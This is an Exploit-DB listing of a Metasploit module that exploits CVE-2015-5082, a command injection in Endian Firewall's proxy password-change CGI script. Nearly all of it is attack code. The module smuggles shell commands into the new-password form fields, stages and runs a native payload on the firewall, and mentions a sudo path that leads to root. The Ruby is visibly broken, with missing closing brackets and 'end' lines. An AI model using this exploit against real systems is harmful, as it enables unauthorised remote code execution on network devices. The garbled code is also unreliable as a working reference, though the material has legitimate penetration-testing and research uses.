Endian Firewall Proxy Password Change Command Injection

ID EDB-ID:38096
Type exploitdb
Reporter metasploit
Modified 2015-09-07T00:00:00


Endian Firewall Proxy Password Change Command Injection. CVE-2015-5082. Remote exploit for linux platform

# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
      'Name' => 'Endian Firewall Proxy Password Change Command Injection',
      'Description' => %q{
        This module exploits an OS command injection vulnerability in a
        web-accessible CGI script used to change passwords for locally-defined
        proxy user accounts. Valid credentials for such an account are

        Command execution will be in the context of the "nobody" account, but
        this account had broad sudo permissions, including to run the script
        /usr/local/bin/chrootpasswd (which changes the password for the Linux
        root account on the system to the value specified by console input
        once it is executed).

        The password for the proxy user account specified will *not* be
        changed by the use of this module, as long as the target system is
        vulnerable to the exploit.

        Very early versions of Endian Firewall (e.g. 1.1 RC5) require
        HTTP basic auth credentials as well to exploit this vulnerability.
        Use the USERNAME and PASSWORD advanced options to specify these values
        if required.

        Versions >= 3.0.0 still contain the vulnerable code, but it appears to
        never be executed due to a bug in the vulnerable CGI script which also
        prevents normal use (http://jira.endian.com/browse/UTM-1002).

        Versions 2.3.x and 2.4.0 are not vulnerable because of a similar bug

        Tested successfully against the following versions of EFW Community:

        1.1 RC5, 2.0, 2.1, 2.2, 2.5.1, 2.5.2.

        Should function against any version from 1.1 RC5 to 2.2.x, as well as
        2.4.1 and 2.5.x.
      'Author' => [
        'Ben Lincoln' # Vulnerability discovery, exploit, Metasploit module
      'References' => [
        ['CVE', '2015-5082'],
        ['URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5082'],
        ['EDB', '37426'],
        ['EDB', '37428']
      'Privileged'  => false,
      'Platform'    => %w{ linux },
      'Payload'        =>
          'BadChars' => "\x00\x0a\x0d",
          'DisableNops' => true,
          'Space'       => 2048
      'Targets'        =>
          [ 'Linux x86',
              'Platform'        => 'linux',
              'Arch'            => ARCH_X86,
              'CmdStagerFlavor' => [ :echo, :printf ]
          [ 'Linux x86_64',
              'Platform'        => 'linux',
              'Arch'            => ARCH_X86_64,
              'CmdStagerFlavor' => [ :echo, :printf ]
      'DefaultOptions' =>
          'SSL' => true,
          'RPORT' => 10443
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Jun 28 2015',
      'License' => MSF_LICENSE

      OptString.new('TARGETURI', [true, 'Path to chpasswd.cgi CGI script',
      OptString.new('EFW_USERNAME', [true,
        'Valid proxy account username for the target system']),
      OptString.new('EFW_PASSWORD', [true,
        'Valid password for the proxy user account']),
      OptString.new('RPATH', [true,
        'Target PATH for binaries used by the CmdStager', '/bin'])
     ], self.class)

        OptInt.new('HTTPClientTimeout', [ true, 'HTTP read response timeout (seconds)', 5])
      ], self.class)


  def exploit
    # Cannot use generic/shell_reverse_tcp inside an elf
    # Checking before proceeds
    if generate_payload_exe.blank?
        "#{peer} - Failed to store payload inside executable, " +
        "please select a native payload")

    execute_cmdstager(:linemax => 200, :nodelete => true)

  def execute_command(cmd, opts)
    cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")


  def req(cmd)
    sploit = "#{datastore['EFW_PASSWORD']}; #{cmd};"

    post_data = Rex::MIME::Message.new
    post_data.add_part('change', nil, nil, 'form-data; name="ACTION"')
    post_data.add_part(datastore['EFW_USERNAME'], nil, nil, 'form-data; name="USERNAME"')
    post_data.add_part(datastore['EFW_PASSWORD'], nil, nil, 'form-data; name="OLD_PASSWORD"')
    post_data.add_part(sploit, nil, nil, 'form-data; name="NEW_PASSWORD_1"')
    post_data.add_part(sploit, nil, nil, 'form-data; name="NEW_PASSWORD_2"')
    post_data.add_part('  Change password', nil, nil, 'form-data; name="SUBMIT"')

    data = post_data.to_s
    boundary = post_data.bound

    referer_url =
      "https://#{datastore['RHOST']}:#{datastore['RPORT']}" +

    res = send_request_cgi(
        'method' => 'POST',
        'uri' => datastore['TARGETURI'],
        'ctype' => "multipart/form-data; boundary=#{boundary}",
        'headers' => {
          'Referer' => referer_url
        'data' => data

     if res
       if res.code == 401
           "#{rhost}:#{rport} - Received a 401 HTTP response - " +
           "specify web admin credentials using the USERNAME " +
           "and PASSWORD advanced options to target this host.")
       if res.code == 404
           "#{rhost}:#{rport} - Received a 404 HTTP response - " +
           "your TARGETURI value is most likely not correct")